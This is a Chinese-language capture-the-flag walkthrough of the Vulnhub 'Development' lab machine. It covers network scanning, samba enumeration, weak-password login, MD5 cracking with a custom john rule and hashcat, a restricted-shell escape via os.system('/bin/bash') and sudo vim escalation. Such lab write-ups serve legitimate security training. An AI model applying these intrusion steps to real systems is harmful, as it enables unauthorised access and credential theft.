Vulnhub Development Walkthrough
Vulnhub Development Walkthrough
Recon
首先使用netdiscover
进行二层Arp扫描。
┌──(kali?kali)-[~]
└─$ sudo netdiscover -r 192.168.80.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 5 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.80.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.80.2 00:50:56:ed:65:ac 1 60 VMware, Inc.
192.168.80.133 00:0c:29:b9:af:ac 1 60 VMware, Inc.
192.168.80.135 00:0c:29:cd:fd:52 1 60 VMware, Inc.
192.168.80.254 00:50:56:ec:ab:13 1 60 VMware, Inc.
随后通过nmap对靶机进行扫描。
┌──(kali?kali)-[~]
└─$ sudo nmap -sS -p- 192.168.80.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 00:51 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.92% done; ETC: 00:51 (0:00:00 remaining)
Nmap scan report for 192.168.80.133
Host is up (0.00081s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
113/tcp open ident
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
8443/tcp open https-alt
MAC Address: 00:0C:29:B9:AF:AC (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.86 seconds
发现samba、http服务。
Process
samba
我们首先对samba进行枚举,使用enum4linux
工具。我们得知目标机器存在intern、Patrick、admin用户和access共享文件夹。但目前没有密码。
http
随即我们尝试访问http服务,主页没有获得有用的信息,但我们发现目标可能运行了HIDS,因此我们不能对目标进行高频率的扫描和目录爆破。
但是在Bravery靶机中,我们得知有人希望Patrick的开发部门缩短URL,详情参见Bravery Walkthrough。那我们尝试从前面靶机提供的URL进行访问。
我们发现了一个秘密的部分,我们点击其中链接(其中内容不做展开),发现了相当多的有用内容。
目前仍有员工使用弱密码,诸如Password、P@ssw0rd等,密码策略为定期修改密码、强制密码历史,但是有部分员工会在密码后添加数字规避密码历史。
点击log out的超链接,我们发现了一个登录界面。
我们尝试弱密码(admin/admin),进行登录。
登录后我们发现有报错,我们尝试搜索报错信息。在Exploit-DB中我们找到了该漏洞的利用方法。
我们尝试包含Reverse Shell,结果并没有成功。
我们尝试另一个,访问敏感信息。
password crack
我们获得了用户名和经过md5运算的字符串。我们尝试利用在线网站破解,但却只能破解出部分信息。
我们尝试生成根据上文的密码策略,生成字典,并尝试破解。首先将可能的密码写入文件。
根据可能的情况编写john的密码规则(/etc/john/john.conf)。这个规则作用是在目标密码后添加1-3位的数字。
[List.Rules.vuln-deve]
Az"[0-9]"
Az"[0-9][0-9]"
Az"[0-9][0-9][0-9]"
有了规则,紧接着根据规则生成字典。
┌──(kali?kali)-[~/Labs/Development/passcrack]
└─$ john --wordlist=passwd --rules=vuln-deve --stdout >> wordlist.lst
最后通过hashcat进行爆破。
┌──(kali?kali)-[~/Labs/Development/passcrack]
└─$ hashcat -a 0 -m 0 87e6d56ce79af90dbe07d387d3d0579e wordlist.lst --show
87e6d56ce79af90dbe07d387d3d0579e:P@ssw0rd25
> 此处只是为了演示手动爆破的方法,实际上这个md5字符串多找几个网站就能得到解。
back to samba
得到密码后,我们再次尝试访问samba,看看是否能得到有用的信息。
我们并不能得到有用的信息。
Privilege Escalation
我们尝试用intern用户进行登录。登录后发现我们使用的命令有限,且触发安全机制不能超过两次吗,否则将被断线。
但我们在使用clear命令时出现了BUG,发现当前的Shell实际上运行在Python环境中。
那么我们通过echo os.system('/bin/bash')
就能获得一个完整的Shell。但是当前shell并不能提升权限。
我们通过su
切换到patrick用户,发现我们具有vim的sudo权限。
使用vim进行提权。